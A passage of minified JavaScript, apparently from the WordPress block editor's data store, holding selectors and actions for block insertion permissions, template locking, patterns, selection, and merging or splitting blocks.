d=Et(e,c);if(d.name===u)return!0;const h=(0,p.switchToBlockType)(d,u);return h&amp;&amp;h.length}const _n=e=&gt;{const t=Ht(e),n=Ut(e);if(t.clientId===n.clientId)return St;if(!t.attributeKey||!n.attributeKey||void 0===t.offset||void 0===n.offset)return St;const o=Yt(e,t.clientId);if(o!==Yt(e,n.clientId))return St;const r=yn(e,o),i=r.indexOf(t.clientId),s=r.indexOf(n.clientId),[l,a]=i&gt;s?[n,t]:[t,n],c=Et(e,l.clientId),u=Et(e,a.clientId),d=c.attributes[l.attributeKey],p=u.attributes[a.attributeKey];let h=(0,de.create)({html:d}),g=(0,de.create)({html:p});return h=(0,de.remove)(h,0,l.offset),g=(0,de.remove)(g,a.offset,g.text.length),[{...c,attributes:{...c.attributes,[l.attributeKey]:(0,de.toHTMLString)({value:h})}},{...u,attributes:{...u.attributes,[a.attributeKey]:(0,de.toHTMLString)({value:g})}}]};function yn(e,t){return e.blocks.order.get(t||&quot;&quot;)||St}function xn(e,t){return yn(e,Yt(e,t)).indexOf(t)}function Sn(e,t){const{selectionStart:n,selectionEnd:o}=e.selection;return n.clientId===o.clientId&amp;&amp;n.clientId===t}function wn(e,t,n=!1){const o=sn(e);return!!o.length&amp;&amp;(n?o.some((n=&gt;Xt(e,n,!0).includes(t))):o.some((n=&gt;Yt(e,n)===t)))}function Cn(e,t,n=!1){return yn(e,t).some((t=&gt;An(e,t)||n&amp;&amp;Cn(e,t,n)))}function Bn(e,t){if(!t)return!1;const n=ln(e),o=n.indexOf(t);return o&gt;-1&amp;&amp;o&lt;n.length-1}function In(e){const{selectionStart:t,selectionEnd:n}=e.selection;return t.clientId!==n.clientId}function jn(e){return e.isMultiSelecting}function En(e){return e.isSelectionEnabled}function Tn(e,t){return e.blocksMode[t]||&quot;visual&quot;}function Mn(e){return e.isTyping}function Pn(e){return!!e.draggedBlocks.length}function Rn(e){return e.draggedBlocks}function An(e,t){return e.draggedBlocks.includes(t)}function Nn(e,t){if(!Pn(e))return!1;return Xt(e,t).some((t=&gt;An(e,t)))}function Ln(){return I()(&#039;wp.data.select( &quot;core/block-editor&quot; ).isCaretWithinFormattedText&#039;,{since:&quot;6.1&quot;,version:&quot;6.3&quot;}),!1}const Dn=(0,g.createSelector)((e=&gt;{let t,n;const{insertionCue:o,selection:{selectionEnd:r}}=e;if(null!==o)return o;const{clientId:i}=r;return i?(t=Yt(e,i)||void 0,n=xn(e,r.clientId)+1):n=yn(e).length,{rootClientId:t,index:n}}),(e=&gt;[e.insertionCue,e.selection.selectionEnd.clientId,e.blocks.parents,e.blocks.order]));function On(e){return null!==e.insertionCue}function zn(e){return e.template.isValid}function Vn(e){return e.settings.template}function Fn(e,t){return t?ko(e,t)?.templateLock??!1:e.settings.templateLock??!1}const Hn=(e,t,n=null)=&gt;{let o,r;if(t&amp;&amp;&quot;object&quot;==typeof t?(o=t,r=t.name):(o=(0,p.getBlockType)(t),r=t),!o)return!1;const{allowedBlockTypes:i}=vo(e);if(!bt(i,r,!0))return!1;const s=(Array.isArray(o.parent)?o.parent:[]).concat(Array.isArray(o.ancestor)?o.ancestor:[]);if(s.length&gt;0){if(s.includes(&quot;core/post-content&quot;))return!0;let t=n,o=!1;do{if(s.includes(Bt(e,t))){o=!0;break}t=e.blocks.parents.get(t)}while(t);return o}return!0},Un=(e,t,n=null)=&gt;{if(!Hn(e,t,n))return!1;let o;if(t&amp;&amp;&quot;object&quot;==typeof t?(o=t,t=o.name):o=(0,p.getBlockType)(t),Fn(e,n))return!1;const r=Lo(e,n??&quot;&quot;);if(&quot;disabled&quot;===r)return!1;const i=ko(e,n);if(n&amp;&amp;void 0===i)return!1;const s=xt(t),l=!!We(e,n),a=!!$e(e,n);if((l||a)&amp;&amp;!s)return!1;if((l||&quot;contentOnly&quot;===r)&amp;&amp;!Be(e,t,n))return!1;const c=Bt(e,n),u=(0,p.getBlockType)(c),d=u?.allowedBlocks;let h=bt(d,t);if(!1!==h){const e=i?.allowedBlocks,n=bt(e,t);null!==n&amp;&amp;(h=n)}const g=o.parent,m=bt(g,c);let b=!0;const k=o.ancestor;if(k){b=[n,...Xt(e,n)].some((t=&gt;bt(k,Bt(e,t))))}const v=b&amp;&amp;(null===h&amp;&amp;null===m||!0===h||!0===m);return v?(0,f.applyFilters)(&quot;blockEditor.__unstableCanInsertBlockType&quot;,v,o,n,{getBlock:Et.bind(null,e),getBlockParentsByBlockName:Qt.bind(null,e)}):v},Gn=(0,g.createRegistrySelector)((e=&gt;(0,g.createSelector)(Un,((t,n,o)=&gt;_t(e)(t,o)))));function $n(e,t,n=null){return t.every((t=&gt;Gn(e,Bt(e,t),n)))}function Wn(e,t){const n=jt(e,t);if(null===n)return!0;if(void 0!==n.lock?.remove)return!n.lock.remove;const o=Yt(e,t);if(Fn(e,o))return!1;const r=!!$e(e,t),i=xt(Bt(e,t));if(r&amp;&amp;!i)return!1;const s=!!We(e,o),l=Lo(e,o);return!((s||&quot;contentOnly&quot;===l)&amp;&amp;!Be(e,Bt(e,t),o))&amp;&amp;&quot;disabled&quot;!==l}function Kn(e,t){return t.every((t=&gt;Wn(e,t)))}function Zn(e,t){const n=jt(e,t);if(null===n)return!0;if(void 0!==n.lock?.move)return!n.lock.move;const o=Yt(e,t),r=Fn(e,o);if(&quot;all&quot;===r||&quot;contentOnly&quot;===r)return!1;const i=!!$e(e,t),s=xt(Bt(e,t));if(i&amp;&amp;!s)return!1;const l=!!We(e,o),a=Lo(e,o);return!((l||&quot;contentOnly&quot;===a)&amp;&amp;!Be(e,Bt(e,t),o))&amp;&amp;&quot;disabled&quot;!==Lo(e,o)}function qn(e,t){return t.every((t=&gt;Zn(e,t)))}function Yn(e,t){const n=jt(e,t);if(null===n)return!0;const{lock:o}=n;return!o?.edit}function Xn(e,t){return!!(0,p.hasBlockSupport)(t,&quot;lock&quot;,!0)&amp;&amp;!!e.settings?.canLockBlocks}function Qn(e,t){return e.preferences.insertUsage?.[t]??null}const Jn=(e,t,n)=&gt;!!(0,p.hasBlockSupport)(t,&quot;inserter&quot;,!0)&amp;&amp;Un(e,t.name,n),eo=(e,t)=&gt;{if(!e)return t;const n=Date.now()-e;switch(!0){case n&lt;36e5:return 4*t;case n&lt;864e5:return 2*t;case n&lt;6048e5:return t/2;default:return t/4}},to=(e,{buildScope:t=&quot;inserter&quot;})=&gt;n=&gt;{const o=n.name;let r=!1;(0,p.hasBlockSupport)(n.name,&quot;multiple&quot;,!0)||(r=zt(e,Nt(e)).some((({name:e})=&gt;e===n.name)));const{time:i,count:s=0}=Qn(e,o)||{},l={id:o,name:n.name,title:n.title,icon:n.icon,isDisabled:r,frecency:eo(i,s)};if(&quot;transform&quot;===t)return l;const a=(0,p.getBlockVariations)(n.name,&quot;inserter&quot;);return{...l,initialAttributes:{},description:n.description,category:n.category,keywords:n.keywords,parent:n.parent,ancestor:n.ancestor,variations:a,example:n.example,utility:1}},no=(0,g.createRegistrySelector)((e=&gt;(0,g.createSelector)(((t,n=null,o=Ct)=&gt;{const r=Un(t,&quot;core/block&quot;,n)?U(e(he)).getReusableBlocks().map((e=&gt;{const n=e.wp_pattern_sync_status?ue:{src:ue,foreground:&quot;var(--wp-block-synced-color)&quot;},o=gt(e),{time:r,count:i=0}=Qn(t,o.name)||{},s=eo(r,i);return{id:o.name,name:&quot;core/block&quot;,initialAttributes:{ref:e.id},title:o.title,icon:n,category:&quot;reusable&quot;,keywords:[&quot;reusable&quot;],isDisabled:!1,utility:1,frecency:s,content:o.content,get blocks(){return mt(o).blocks},syncStatus:o.syncStatus}})):[],i=to(t,{buildScope:&quot;inserter&quot;});let s=(0,p.getBlockTypes)().filter((e=&gt;(0,p.hasBlockSupport)(e,&quot;inserter&quot;,!0))).map(i);s=!1!==o[dt]?s.filter((e=&gt;Jn(t,e,n))):s.filter((e=&gt;Hn(t,e,n))).map((e=&gt;({...e,isAllowedInCurrentRoot:Jn(t,e,n)})));const l=[],a=s.reduce(((e,n)=&gt;{const{variations:o=[]}=n;if(o.some((({isDefault:e})=&gt;e))||e.push(n),o.length){const r=((e,t)=&gt;n=&gt;{const o=`${t.id}/${n.name}`,{time:r,count:i=0}=Qn(e,o)||{};return{...t,id:o,icon:n.icon||t.icon,title:n.title||t.title,description:n.description||t.description,category:n.category||t.category,example:n.hasOwnProperty(&quot;example&quot;)?n.example:t.example,initialAttributes:{...t.initialAttributes,...n.attributes},innerBlocks:n.innerBlocks,keywords:n.keywords||t.keywords,frecency:eo(r,i)}})(t,n);o.map(r).forEach((t=&gt;{&quot;core/paragraph/stretchy-paragraph&quot;===t.id||&quot;core/heading/stretchy-heading&quot;===t.id?l.push(t):e.push(t)}))}return e}),[]);a.push(...l);const{core:c,noncore:u}=a.reduce(((e,t)=&gt;{const{core:n,noncore:o}=e;return(t.name.startsWith(&quot;core/&quot;)?n:o).push(t),e}),{core:[],noncore:[]});return[...[...c,...u],...r]}),((t,n)=&gt;[(0,p.getBlockTypes)(),U(e(he)).getReusableBlocks(),t.blocks.order,t.preferences.insertUsage,..._t(e)(t,n)])))),oo=(0,g.createRegistrySelector)((e=&gt;(0,g.createSelector)(((e,t,n=null)=&gt;{const o=Array.isArray(t)?t:[t],r=to(e,{buildScope:&quot;transform&quot;}),i=(0,p.getBlockTypes)().filter((t=&gt;Jn(e,t,n))).map(r),s=Object.fromEntries(Object.entries(i).map((([,e])=&gt;[e.name,e])));return yt((0,p.getPossibleBlockTransformations)(o).reduce(((e,t)=&gt;(s[t?.name]&amp;&amp;e.push(s[t.name]),e)),[]),(e=&gt;s[e.name].frecency),&quot;desc&quot;)}),((t,n,o)=&gt;[(0,p.getBlockTypes)(),t.preferences.insertUsage,..._t(e)(t,o)])))),ro=(e,t=null)=&gt;{if((0,p.getBlockTypes)().some((n=&gt;Jn(e,n,t))))return!0;return Un(e,&quot;core/block&quot;,t)},io=(0,g.createRegistrySelector)((e=&gt;(0,g.createSelector)(((e,t=null)=&gt;{if(!t)return;const n=(0,p.getBlockTypes)().filter((n=&gt;Jn(e,n,t)));return Un(e,&quot;core/block&quot;,t)&amp;&amp;n.push(&quot;core/block&quot;),n}),((t,n)=&gt;[(0,p.getBlockTypes)(),..._t(e)(t,n)])))),so=(0,g.createSelector)(((e,t=null)=&gt;(I()(&#039;wp.data.select( &quot;core/block-editor&quot; ).__experimentalGetAllowedBlocks&#039;,{alternative:&#039;wp.data.select( &quot;core/block-editor&quot; ).getAllowedBlocks&#039;,since:&quot;6.2&quot;,version:&quot;6.4&quot;}),io(e,t))),((e,t)=&gt;io.getDependants(e,t)));function lo(e,t=null){if(!t)return;const{defaultBlock:n,directInsert:o}=e.blockListSettings[t]??{};return n&amp;&amp;o?n:void 0}function ao(e,t=null){return I()(&#039;wp.data.select( &quot;core/block-editor&quot; ).__experimentalGetDirectInsertBlock&#039;,{alternative:&#039;wp.data.select( &quot;core/block-editor&quot; ).getDirectInsertBlock&#039;,since:&quot;6.3&quot;,version:&quot;6.4&quot;}),lo(e,t)}const co=(0,g.createRegistrySelector)((e=&gt;(t,n)=&gt;{const o=U(e(he)).getPatternBySlug(n);return o?mt(o):null})),uo=e=&gt;(t,n)=&gt;[...vt(e)(t),..._t(e)(t,n)],po=new WeakMap;function ho(e){let t=po.get(e);return t||(t={...e,get blocks(){return mt(e).blocks}},po.set(e,t)),t}const go=(0,g.createRegistrySelector)((e=&gt;(0,g.createSelector)(((t,n=null,o=Ct)=&gt;{const{getAllPatterns:r}=U(e(he)),i=r(),{allowedBlockTypes:s}=vo(t);return i.filter((({inserter:e=!0})=&gt;!!e)).map(ho).filter((e=&gt;kt(ft(e),s))).filter((e=&gt;ft(e).every((({blockName:e})=&gt;!1!==o[dt]?Gn(t,e,n):Hn(t,e,n)))))}),uo(e)))),mo=(0,g.createRegistrySelector)((e=&gt;(0,g.createSelector)(((t,n,o=null)=&gt;{if(!n)return St;const r=e(he).__experimentalGetAllowedPatterns(o),i=Array.isArray(n)?n:[n],s=r.filter((e=&gt;e?.blockTypes?.some?.((e=&gt;i.includes(e)))));return 0===s.length?St:s}),((t,n,o)=&gt;uo(e)(t,o))))),fo=(0,g.createRegistrySelector)((e=&gt;(I()(&#039;wp.data.select( &quot;core/block-editor&quot; ).__experimentalGetPatternsByBlockTypes&#039;,{alternative:&#039;wp.data.select( &quot;core/block-editor&quot; ).getPatternsByBlockTypes&#039;,since:&quot;6.2&quot;,version:&quot;6.4&quot;}),e(he).getPatternsByBlockTypes))),bo=(0,g.createRegistrySelector)((e=&gt;(0,g.createSelector)(((t,n,o=null)=&gt;{if(!n)return St;if(n.some((({clientId:e,innerBlocks:n})=&gt;n.length||jo(t,e))))return St;const r=Array.from(new Set(n.map((({name:e})=&gt;e))));return e(he).getPatternsByBlockTypes(r,o)}),((t,n,o)=&gt;uo(e)(t,o)))));function ko(e,t){return e.blockListSettings[t]}function vo(e){return e.settings}function _o(e){return e.blocks.isPersistentChange}const yo=(0,g.createSelector)(((e,t=[])=&gt;t.reduce(((t,n)=&gt;e.blockListSettings[n]?{...t,[n]:e.blockListSettings[n]}:t),{})),(e=&gt;[e.blockListSettings])),xo=(0,g.createRegistrySelector)((e=&gt;(0,g.createSelector)(((t,n)=&gt;{I()(&quot;wp.data.select( &#039;core/block-editor&#039; ).__experimentalGetReusableBlockTitle&quot;,{since:&quot;6.6&quot;,version:&quot;6.8&quot;});const o=U(e(he)).getReusableBlocks().find((e=&gt;e.id===n));return o?o.title?.raw:null}),(()=&gt;[U(e(he)).getReusableBlocks()]))));function So(e){return e.blocks.isIgnoredChange}function wo(e){return e.lastBlockAttributesChange}function Co(){return I()(&#039;wp.data.select( &quot;core/block-editor&quot; ).hasBlockMovingClientId&#039;,{since:&quot;6.7&quot;,hint:&quot;Block moving mode feature has been removed&quot;}),!1}function Bo(e){return!!e.automaticChangeStatus}function Io(e,t){return e.highlightedBlock===t}function jo(e,t){return!!e.blocks.controlledInnerBlocks[t]}const Eo=(0,g.createSelector)(((e,t)=&gt;{if(!t.length)return null;const n=Zt(e);if(t.includes(Bt(e,n)))return n;const o=ln(e),r=Qt(e,n||o[0],t);return r?r[r.length-1]:null}),((e,t)=&gt;[e.selection.selectionStart.clientId,e.selection.selectionEnd.clientId,t]));function To(e,t,n){const{lastBlockInserted:o}=e;return o.clientIds?.includes(t)&amp;&amp;o.source===n}function Mo(e,t){return e.blockVisibility?.[t]??!0}function Po(){I()(&quot;wp.data.select( &#039;core/block-editor&#039; ).getHoveredBlockClientId&quot;,{since:&quot;6.9&quot;,version:&quot;7.1&quot;})}const Ro=(0,g.createSelector)((e=&gt;{const t=new Set(Object.keys(e.blockVisibility).filter((t=&gt;e.blockVisibility[t])));return 0===t.size?wt:t}),(e=&gt;[e.blockVisibility]));function Ao(e,t){if(&quot;default&quot;!==Lo(e,t))return!1;if(!Yn(e,t))return!0;if(Xe(e)){const n=Ye(e);if(n){const o=yn(e,n);if(o?.includes(t))return!0}else if(t&amp;&amp;!Yt(e,t))return!0}return!(0,p.hasBlockSupport)(Bt(e,t),&quot;__experimentalDisableBlockOverlay&quot;,!1)&amp;&amp;jo(e,t)&amp;&amp;!Sn(e,t)&amp;&amp;!wn(e,t,!0)}function No(e,t){let n=e.blocks.parents.get(t);for(;n;){if(Ao(e,n))return!0;n=e.blocks.parents.get(n)}return!1}function Lo(e,t=&quot;&quot;){return null===t&amp;&amp;(t=&quot;&quot;),e.derivedBlockEditingModes?.has(t)?e.derivedBlockEditingModes.get(t):e.blockEditingModes.has(t)?e.blockEditingModes.get(t):&quot;default&quot;}const Do=(0,g.createRegistrySelector)((e=&gt;(t,n=&quot;&quot;)=&gt;{const o=n||Zt(t);if(!o)return!1;const{getGroupingBlockName:r}=e(p.store),i=Et(t,o),s=r();return i&amp;&amp;(i.name===s||(0,p.getBlockType)(i.name)?.transforms?.ungroup)&amp;&amp;!!i.innerBlocks.length&amp;&amp;Wn(t,o)})),Oo=(0,g.createRegistrySelector)((e=&gt;(t,n=St)=&gt;{const{getGroupingBlockName:o}=e(p.store),r=o(),i=n?.length?n:sn(t),s=i?.length?Yt(t,i[0]):void 0;return Gn(t,r,s)&amp;&amp;i.length&amp;&amp;Kn(t,i)})),zo=(e,t)=&gt;(I()(&quot;wp.data.select( &#039;core/block-editor&#039; ).__unstableGetContentLockingParent&quot;,{since:&quot;6.1&quot;,version:&quot;6.7&quot;}),Ge(e,t));function Vo(e){return I()(&quot;wp.data.select( &#039;core/block-editor&#039; ).__unstableGetTemporarilyEditingAsBlocks&quot;,{since:&quot;6.1&quot;,version:&quot;6.7&quot;}),Ke(e)}function Fo(e){return I()(&quot;wp.data.select( &#039;core/block-editor&#039; ).__unstableGetTemporarilyEditingFocusModeToRevert&quot;,{since:&quot;6.5&quot;,version:&quot;6.7&quot;}),Ze(e)}const Ho=window.wp.a11y,Uo=[&quot;inserterMediaCategories&quot;,&quot;blockInspectorAnimation&quot;,&quot;mediaSideload&quot;];function Go(e,{stripExperimentalSettings:t=!1,reset:n=!1}={}){let o=e;Object.hasOwn(o,&quot;__unstableIsPreviewMode&quot;)&amp;&amp;(I()(&quot;__unstableIsPreviewMode argument in wp.data.dispatch(&#039;core/block-editor&#039;).updateSettings&quot;,{since:&quot;6.8&quot;,alternative:&quot;isPreviewMode&quot;}),o={...o},o.isPreviewMode=o.__unstableIsPreviewMode,delete o.__unstableIsPreviewMode);let r=o;if(t&amp;&amp;&quot;web&quot;===h.Platform.OS){r={};for(const e in o)Uo.includes(e)||(r[e]=o[e])}return{type:&quot;UPDATE_SETTINGS&quot;,settings:r,reset:n}}function $o(){return{type:&quot;HIDE_BLOCK_INTERFACE&quot;}}function Wo(){return{type:&quot;SHOW_BLOCK_INTERFACE&quot;}}const Ko=(e,t=!0,n=!1)=&gt;({select:o,dispatch:r,registry:i})=&gt;{if(!e||!e.length)return;var s;s=e,e=Array.isArray(s)?s:[s];if(!o.canRemoveBlocks(e))return;const l=!n&amp;&amp;o.getBlockRemovalRules();if(l){let n=function(e){const t=[],n=[...e];for(;n.length;){const{innerBlocks:e,...o}=n.shift();n.push(...e),t.push(o)}return t};const i=n(e.map(o.getBlock));let s;for(const n of l)if(s=n.callback(i),s)return void r(qo(e,t,s))}t&amp;&amp;r.selectPreviousBlock(e[0],t),i.batch((()=&gt;{r({type:&quot;REMOVE_BLOCKS&quot;,clientIds:e}),r(Zo())}))},Zo=()=&gt;({select:e,dispatch:t})=&gt;{if(e.getBlockCount()&gt;0)return;const{__unstableHasCustomAppender:n}=e.getSettings();n||t.insertDefaultBlock()};function qo(e,t,n){return{type:&quot;DISPLAY_BLOCK_REMOVAL_PROMPT&quot;,clientIds:e,selectPrevious:t,message:n}}function Yo(){return{type:&quot;CLEAR_BLOCK_REMOVAL_PROMPT&quot;}}function Xo(e=!1){return{type:&quot;SET_BLOCK_REMOVAL_RULES&quot;,rules:e}}function Qo(e){return{type:&quot;SET_OPENED_BLOCK_SETTINGS_MENU&quot;,clientId:e}}function Jo(e,t){return{type:&quot;SET_STYLE_OVERRIDE&quot;,id:e,style:t}}function er(e){return{type:&quot;DELETE_STYLE_OVERRIDE&quot;,id:e}}function tr(e=null){return{type:&quot;LAST_FOCUS&quot;,lastFocus:e}}function nr(e){return({select:t,dispatch:n,registry:o})=&gt;{const r=U(o.select(Ii)).getTemporarilyEditingFocusModeToRevert();n.__unstableMarkNextChangeAsNotPersistent(),n.updateBlockAttributes(e,{templateLock:&quot;contentOnly&quot;}),n.updateBlockListSettings(e,{...t.getBlockListSettings(e),templateLock:&quot;contentOnly&quot;}),n.updateSettings({focusMode:r}),n.__unstableSetTemporarilyEditingAsBlocks()}}function or(){return{type:&quot;START_DRAGGING&quot;}}function rr(){return{type:&quot;STOP_DRAGGING&quot;}}function ir(e){return{type:&quot;SET_BLOCK_EXPANDED_IN_LIST_VIEW&quot;,clientId:e}}function sr(e){return{type:&quot;SET_INSERTION_POINT&quot;,value:e}}const lr=e=&gt;({select:t,dispatch:n})=&gt;{n.selectBlock(e),n.__unstableMarkNextChangeAsNotPersistent(),n.updateBlockAttributes(e,{templateLock:void 0}),n.updateBlockListSettings(e,{...t.getBlockListSettings(e),templateLock:!1});const o=t.getSettings().focusMode;n.updateSettings({focusMode:!0}),n.__unstableSetTemporarilyEditingAsBlocks(e,o)},ar=(e=100)=&gt;({select:t,dispatch:n})=&gt;{if(100!==e){const e=t.getBlockSelectionStart(),o=t.getSectionRootClientId();if(e){let r;if(o){const n=t.getBlockOrder(o);r=n?.includes(e)?e:t.getBlockParents(e).find((e=&gt;n.includes(e)))}else r=t.getBlockHierarchyRootClientId(e);r?n.selectBlock(r):n.clearSelectedBlock(),(0,Ho.speak)((0,T.__)(&quot;You are currently in zoom-out mode.&quot;))}}n({type:&quot;SET_ZOOM_LEVEL&quot;,zoom:e})};function cr(){return{type:&quot;RESET_ZOOM_LEVEL&quot;}}function ur(e,t){return{type:&quot;TOGGLE_BLOCK_SPOTLIGHT&quot;,clientId:e,hasBlockSpotlight:t}}const dr=window.wp.notices,pr=window.wp.preferences,hr=&quot;&quot;;function gr(e){if(e)return Object.keys(e).find((t=&gt;{const n=e[t];return(&quot;string&quot;==typeof n||n instanceof de.RichTextData)&amp;&amp;-1!==n.toString().indexOf(hr)}))}function mr(e){for(const[t,n]of Object.entries(e.attributes))if(&quot;rich-text&quot;===n.source||&quot;html&quot;===n.source)return t}const fr=e=&gt;Array.isArray(e)?e:[e],br=e=&gt;({dispatch:t})=&gt;{t({type:&quot;RESET_BLOCKS&quot;,blocks:e}),t(kr(e))},kr=e=&gt;({select:t,dispatch:n})=&gt;{const o=t.getTemplate(),r=t.getTemplateLock(),i=!o||&quot;all&quot;!==r||(0,p.doBlocksMatchTemplate)(e,o);if(i!==t.isValidTemplate())return n.setTemplateValidity(i),i};function vr(e,t,n){return{type:&quot;RESET_SELECTION&quot;,selectionStart:e,selectionEnd:t,initialPosition:n}}function _r(e){return I()(&#039;wp.data.dispatch( &quot;core/block-editor&quot; ).receiveBlocks&#039;,{since:&quot;5.9&quot;,alternative:&quot;resetBlocks or insertBlocks&quot;}),{type:&quot;RECEIVE_BLOCKS&quot;,blocks:e}}function yr(e,t,n={uniqueByBlock:!1}){return&quot;boolean&quot;==typeof n&amp;&amp;(n={uniqueByBlock:n}),{type:&quot;UPDATE_BLOCK_ATTRIBUTES&quot;,clientIds:fr(e),attributes:t,options:n}}function xr(e,t){return{type:&quot;UPDATE_BLOCK&quot;,clientId:e,updates:t}}function Sr(e,t=0){return{type:&quot;SELECT_BLOCK&quot;,initialPosition:t,clientId:e}}function wr(){return I()(&#039;wp.data.dispatch( &quot;core/block-editor&quot; ).hoverBlock&#039;,{since:&quot;6.9&quot;,version:&quot;7.1&quot;}),{type:&quot;DO_NOTHING&quot;}}const Cr=(e,t=!1)=&gt;({select:n,dispatch:o})=&gt;{const r=n.getPreviousBlockClientId(e);if(r)o.selectBlock(r,-1);else if(t){const t=n.getBlockRootClientId(e);t&amp;&amp;o.selectBlock(t,-1)}},Br=e=&gt;({select:t,dispatch:n})=&gt;{const o=t.getNextBlockClientId(e);o&amp;&amp;n.selectBlock(o)};function Ir(){return{type:&quot;START_MULTI_SELECT&quot;}}function jr(){return{type:&quot;STOP_MULTI_SELECT&quot;}}const Er=(e,t,n=0)=&gt;({select:o,dispatch:r})=&gt;{if(o.getBlockRootClientId(e)!==o.getBlockRootClientId(t))return;r({type:&quot;MULTI_SELECT&quot;,start:e,end:t,initialPosition:n});const i=o.getSelectedBlockCount();(0,Ho.speak)((0,T.sprintf)((0,T._n)(&quot;%s block selected.&quot;,&quot;%s blocks selected.&quot;,i),i),&quot;assertive&quot;)};function Tr(){return{type:&quot;CLEAR_SELECTED_BLOCK&quot;}}function Mr(e=!0){return{type:&quot;TOGGLE_SELECTION&quot;,isSelectionEnabled:e}}const Pr=(e,t,n,o=0,r)=&gt;({select:i,dispatch:s,registry:l})=&gt;{e=fr(e),t=fr(t);const a=i.getBlockRootClientId(e[0]);for(let e=0;e&lt;t.length;e++){const n=t[e];if(!i.canInsertBlockType(n.name,a))return}l.batch((()=&gt;{s({type:&quot;REPLACE_BLOCKS&quot;,clientIds:e,blocks:t,time:Date.now(),indexToSelect:n,initialPosition:o,meta:r}),s.ensureDefaultBlock()}))};function Rr(e,t){return Pr(e,t)}const Ar=e=&gt;(t,n)=&gt;({select:o,dispatch:r})=&gt;{o.canMoveBlocks(t)&amp;&amp;r({type:e,clientIds:fr(t),rootClientId:n})},Nr=Ar(&quot;MOVE_BLOCKS_DOWN&quot;),Lr=Ar(&quot;MOVE_BLOCKS_UP&quot;),Dr=(e,t=&quot;&quot;,n=&quot;&quot;,o)=&gt;({select:r,dispatch:i})=&gt;{if(r.canMoveBlocks(e)){if(t!==n){if(!r.canRemoveBlocks(e))return;if(!r.canInsertBlocks(e,n))return}i({type:&quot;MOVE_BLOCKS_TO_POSITION&quot;,fromRootClientId:t,toRootClientId:n,clientIds:e,index:o})}};function Or(e,t=&quot;&quot;,n=&quot;&quot;,o){return Dr([e],t,n,o)}function zr(e,t,n,o,r){return Vr([e],t,n,o,0,r)}const Vr=(e,t,n,o=!0,r=0,i)=&gt;({select:s,dispatch:l})=&gt;{null!==r&amp;&amp;&quot;object&quot;==typeof r&amp;&amp;(i=r,r=0,I()(&quot;meta argument in wp.data.dispatch(&#039;core/block-editor&#039;)&quot;,{since:&quot;5.8&quot;,hint:&quot;The meta argument is now the 6th argument of the function&quot;})),e=fr(e);const a=[];for(const t of e){s.canInsertBlockType(t.name,n)&amp;&amp;a.push(t)}a.length&amp;&amp;l({type:&quot;INSERT_BLOCKS&quot;,blocks:a,index:t,rootClientId:n,time:Date.now(),updateSelection:o,initialPosition:o?r:null,meta:i})};function Fr(e,t,n={}){const{__unstableWithInserter:o,operation:r,nearestSide:i}=n;return{type:&quot;SHOW_INSERTION_POINT&quot;,rootClientId:e,index:t,__unstableWithInserter:o,operation:r,nearestSide:i}}const Hr=()=&gt;({select:e,dispatch:t})=&gt;{e.isBlockInsertionPointVisible()&amp;&amp;t({type:&quot;HIDE_INSERTION_POINT&quot;})};function Ur(e){return{type:&quot;SET_TEMPLATE_VALIDITY&quot;,isValid:e}}const Gr=()=&gt;({select:e,dispatch:t})=&gt;{t({type:&quot;SYNCHRONIZE_TEMPLATE&quot;});const n=e.getBlocks(),o=e.getTemplate(),r=(0,p.synchronizeBlocksWithTemplate)(n,o);t.resetBlocks(r)},$r=e=&gt;({registry:t,select:n,dispatch:o})=&gt;{const r=n.getSelectionStart(),i=n.getSelectionEnd();if(r.clientId===i.clientId)return;if(!r.attributeKey||!i.attributeKey||void 0===r.offset||void 0===i.offset)return!1;const s=n.getBlockRootClientId(r.clientId);if(s!==n.getBlockRootClientId(i.clientId))return;const l=n.getBlockOrder(s);let a,c;l.indexOf(r.clientId)&gt;l.indexOf(i.clientId)?(a=i,c=r):(a=r,c=i);const u=e?c:a,d=n.getBlock(u.clientId),h=(0,p.getBlockType)(d.name);if(!h.merge)return;const g=a,m=c,f=n.getBlock(g.clientId),b=n.getBlock(m.clientId),k=f.attributes[g.attributeKey],v=b.attributes[m.attributeKey];let _=(0,de.create)({html:k}),y=(0,de.create)({html:v});_=(0,de.remove)(_,g.offset,_.text.length),y=(0,de.insert)(y,hr,0,m.offset);const x=(0,p.cloneBlock)(f,{[g.attributeKey]:(0,de.toHTMLString)({value:_})}),S=(0,p.cloneBlock)(b,{[m.attributeKey]:(0,de.toHTMLString)({value:y})}),w=e?x:S,C=f.name===b.name?[w]:(0,p.switchToBlockType)(w,h.name);if(!C||!C.length)return;let B;if(e){const e=C.pop();B=h.merge(e.attributes,S.attributes)}else{const e=C.shift();B=h.merge(x.attributes,e.attributes)}const I=gr(B),j=B[I],E=(0,de.create)({html:j}),T=E.text.indexOf(hr),M=(0,de.remove)(E,T,T+1),P=(0,de.toHTMLString)({value:M});B[I]=P;const R=n.getSelectedBlockClientIds(),A=[...e?C:[],{...d,attributes:{...d.attributes,...B}},...e?[]:C];t.batch((()=&gt;{o.selectionChange(d.clientId,I,T,T),o.replaceBlocks(R,A,0,n.getSelectedBlocksInitialCaretPosition())}))},Wr=(e=[])=&gt;({registry:t,select:n,dispatch:o})=&gt;{const r=n.getSelectionStart(),i=n.getSelectionEnd(),s=n.getBlockRootClientId(r.clientId),l=n.getBlockRootClientId(i.clientId);if(s!==l)return;const a=n.getBlockOrder(s);let c,u;a.indexOf(r.clientId)&gt;a.indexOf(i.clientId)?(c=i,u=r):(c=r,u=i);const d=c,h=u,g=n.getBlock(d.clientId),m=n.getBlock(h.clientId),f=(0,p.getBlockType)(g.name),b=(0,p.getBlockType)(m.name),k=&quot;string&quot;==typeof d.attributeKey?d.attributeKey:mr(f),v=&quot;string&quot;==typeof h.attributeKey?h.attributeKey:mr(b),_=n.getBlockAttributes(d.clientId),y=_?.metadata?.bindings;if(y?.[k]){if(e.length){const{createWarningNotice:e}=t.dispatch(dr.store);return void e((0,T.__)(&quot;Blocks can&#039;t be inserted into other blocks with bindings&quot;),{type:&quot;snackbar&quot;})}return void o.insertAfterBlock(d.clientId)}if(!k||!v||void 0===r.offset||void 0===i.offset)return;if(d.clientId===h.clientId&amp;&amp;k===v&amp;&amp;d.offset===h.offset)if(e.length){if((0,p.isUnmodifiedDefaultBlock)(g))return void o.replaceBlocks([d.clientId],e,e.length-1,-1)}else if(!n.getBlockOrder(d.clientId).length){let e=function(){const e=(0,p.getDefaultBlockName)();return n.canInsertBlockType(e,s)?(0,p.createBlock)(e):(0,p.createBlock)(n.getBlockName(d.clientId))};const t=_[k].length;if(0===d.offset&amp;&amp;t)return void o.insertBlocks([e()],n.getBlockIndex(d.clientId),s,!1);if(d.offset===t)return void 